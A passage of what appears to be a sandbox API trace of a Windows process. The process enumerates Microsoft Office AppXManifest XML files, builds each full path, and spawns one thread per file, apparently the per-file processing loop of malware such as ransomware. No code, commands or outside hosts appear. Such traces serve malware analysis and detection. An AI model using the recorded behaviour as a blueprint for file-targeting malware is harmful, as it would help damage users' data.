	[0079.795] wcscat (in: _Dest=0x47732b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0079.795] wcscat (in: _Dest=0x47732b0, _Source="AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0000-1000-0000000FF1CE.xml"
	[0093.327] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47732b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1328
	[0093.327] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8351d7a8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8351d7a8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", cAlternateFileName="APAD0B~1.XML")) returned 1
	[0093.327] wcscmp (_String1="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.327] wcscmp (_String1="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.327] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477ec70
	[0093.327] wcscpy (in: _Dest=0x477ec70, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.327] wcscat (in: _Dest=0x477ec70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.327] wcscat (in: _Dest=0x477ec70, _Source="AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0015-0409-1000-0000000FF1CE.xml"
	[0093.327] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477ec70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1808
	[0093.329] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc3863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", cAlternateFileName="APEDE2~1.XML")) returned 1
	[0093.329] wcscmp (_String1="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.329] wcscmp (_String1="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.329] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477f290
	[0093.329] wcscpy (in: _Dest=0x477f290, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.329] wcscat (in: _Dest=0x477f290, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.329] wcscat (in: _Dest=0x477f290, _Source="AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0000-1000-0000000FF1CE.xml"
	[0093.329] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477f290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1974
	[0093.329] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP51DE~1.XML")) returned 1
	[0093.330] wcscmp (_String1="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.330] wcscmp (_String1="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.330] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477fa70
	[0093.330] wcscpy (in: _Dest=0x477fa70, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.330] wcscat (in: _Dest=0x477fa70, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.330] wcscat (in: _Dest=0x477fa70, _Source="AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0016-0409-1000-0000000FF1CE.xml"
	[0093.330] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477fa70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16e4
	[0093.330] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83485006, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83485006, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x79381, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", cAlternateFileName="APPXMA~4.XML")) returned 1
	[0093.330] wcscmp (_String1="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.330] wcscmp (_String1="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.330] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477df50
	[0093.330] wcscpy (in: _Dest=0x477df50, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.331] wcscat (in: _Dest=0x477df50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.331] wcscat (in: _Dest=0x477df50, _Source="AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0000-1000-0000000FF1CE.xml"
	[0093.331] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477df50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16f0
	[0093.331] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ecd099, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", cAlternateFileName="APCEE5~1.XML")) returned 1
	[0093.331] wcscmp (_String1="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.331] wcscmp (_String1="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.331] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477fdf0
	[0093.331] wcscpy (in: _Dest=0x477fdf0, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.331] wcscat (in: _Dest=0x477fdf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.331] wcscat (in: _Dest=0x477fdf0, _Source="AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0018-0409-1000-0000000FF1CE.xml"
	[0093.331] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477fdf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17b0
	[0093.332] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e3474a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e3474a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3df10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP557F~1.XML")) returned 1
	[0093.332] wcscmp (_String1="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.332] wcscmp (_String1="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.332] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477fb50
	[0093.332] wcscpy (in: _Dest=0x477fb50, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.332] wcscat (in: _Dest=0x477fb50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.332] wcscat (in: _Dest=0x477fb50, _Source="AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0000-1000-0000000FF1CE.xml"
	[0093.332] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477fb50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1790
	[0093.333] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", cAlternateFileName="APE193~1.XML")) returned 1
	[0093.333] wcscmp (_String1="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.333] wcscmp (_String1="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.333] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477fc30
	[0093.333] wcscpy (in: _Dest=0x477fc30, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.333] wcscat (in: _Dest=0x477fc30, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.333] wcscat (in: _Dest=0x477fc30, _Source="AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0019-0409-1000-0000000FF1CE.xml"
	[0093.333] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x477fc30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1708
	[0093.334] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x834d1316, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x834d1316, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e3474a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x112a4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", cAlternateFileName="APC1E2~1.XML")) returned 1
	[0093.334] wcscmp (_String1="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.334] wcscmp (_String1="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.334] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x47729f0
	[0093.334] wcscpy (in: _Dest=0x47729f0, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.334] wcscat (in: _Dest=0x47729f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.334] wcscat (in: _Dest=0x47729f0, _Source="AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml"
	[0093.334] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47729f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16f4
	[0093.335] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4bfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", cAlternateFileName="APC422~1.XML")) returned 1
	[0093.335] wcscmp (_String1="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.335] wcscmp (_String1="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.335] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4773a90
	[0093.335] wcscpy (in: _Dest=0x4773a90, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.335] wcscat (in: _Dest=0x4773a90, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.335] wcscat (in: _Dest=0x4773a90, _Source="AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml"
	[0093.335] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4773a90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f8
	[0093.335] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xba5e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", cAlternateFileName="AP2169~1.XML")) returned 1
	[0093.335] wcscmp (_String1="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.335] wcscmp (_String1="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.335] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x47737f0
	[0093.335] wcscpy (in: _Dest=0x47737f0, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.336] wcscat (in: _Dest=0x47737f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.336] wcscat (in: _Dest=0x47737f0, _Source="AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml"
	[0093.336] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47737f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f4
	[0093.336] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83ea71ba, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", cAlternateFileName="AP7BBA~1.XML")) returned 1
	[0093.336] wcscmp (_String1="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.336] wcscmp (_String1="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.336] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x47731d0
	[0093.336] wcscpy (in: _Dest=0x47731d0, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.336] wcscat (in: _Dest=0x47731d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.336] wcscat (in: _Dest=0x47731d0, _Source="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml"
	[0093.336] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47731d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f0
	[0093.337] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", cAlternateFileName="APEF10~1.XML")) returned 1
	[0093.337] wcscmp (_String1="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.337] wcscmp (_String1="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.337] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4773ef0
	[0093.337] wcscpy (in: _Dest=0x4773ef0, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.337] wcscat (in: _Dest=0x4773ef0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.337] wcscat (in: _Dest=0x4773ef0, _Source="AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml"
	[0093.337] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4773ef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11ec
	[0093.338] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x838fd5e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x838fd5e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", cAlternateFileName="AP5F49~1.XML")) returned 1
	[0093.338] wcscmp (_String1="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.338] wcscmp (_String1="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.338] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4772ad0
	[0093.338] wcscpy (in: _Dest=0x4772ad0, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.338] wcscat (in: _Dest=0x4772ad0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
	[0093.338] wcscat (in: _Dest=0x4772ad0, _Source="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml"
	[0093.338] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4772ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e8
	[0093.339] FindNextFileW (in: hFindFile=0x2d71540, lpFindFileData=0x2d88150 | out: lpFindFileData=0x2d88150*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x863, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", cAlternateFileName="APB0FE~1.XML")) returned 1
	[0093.339] wcscmp (_String1="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", _String2=".") returned 1
	[0093.339] wcscmp (_String1="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml", _String2="..") returned 1
	[0093.339] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x4773e10
	[0093.339] wcscpy (in: _Dest=0x4773e10, _Source="C:\\Program Files\\Microsoft Office\\PackageManifests" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests") returned="C:\\Program Files\\Microsoft Office\\PackageManifests"
	[0093.339] wcscat (in: _Dest=0x4773e10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\PackageManifests\\") returned="C:\\Program Files\\Microsoft Office\\PackageManifests\\"
